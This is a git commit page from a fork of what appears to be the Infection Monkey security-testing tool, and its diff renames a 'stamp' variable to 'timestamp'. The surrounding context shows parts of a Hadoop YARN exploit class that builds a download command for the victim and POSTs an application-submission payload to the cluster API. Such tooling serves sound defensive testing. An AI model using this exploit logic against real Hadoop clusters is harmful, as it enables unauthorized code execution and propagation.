forked from p15670423/monkey
Agent: Rename stamp to timestamp in Hadoop
This commit is contained in:
parent
8f6df12d9c
commit
8bdb30dcfb
|
@ -65,7 +65,7 @@ class HadoopExploiter(WebRCE):
|
|||
)
|
||||
|
||||
command = self._build_command(monkey_path_on_victim, http_path)
|
||||
stamp = time()
|
||||
timestamp = time()
|
||||
try:
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
|
@ -75,8 +75,8 @@ class HadoopExploiter(WebRCE):
|
|||
|
||||
except requests.RequestException as err:
|
||||
error_message = str(err)
|
||||
self._publish_exploitation_event(stamp, False, error_message=error_message)
|
||||
self._publish_propagation_event(stamp, False, error_message=error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
finally:
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
@ -106,15 +106,15 @@ class HadoopExploiter(WebRCE):
|
|||
self._set_interrupted()
|
||||
return False
|
||||
|
||||
stamp = time()
|
||||
timestamp = time()
|
||||
resp = requests.post(
|
||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
|
||||
success = resp.status_code == 202
|
||||
message = "" if success else f"Failed to exploit via {url}"
|
||||
self._publish_exploitation_event(stamp, success, error_message=message)
|
||||
self._publish_propagation_event(stamp, success, error_message=message)
|
||||
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||
self._publish_propagation_event(timestamp, success, error_message=message)
|
||||
return success
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
|
|
Loading…
Reference in New Issue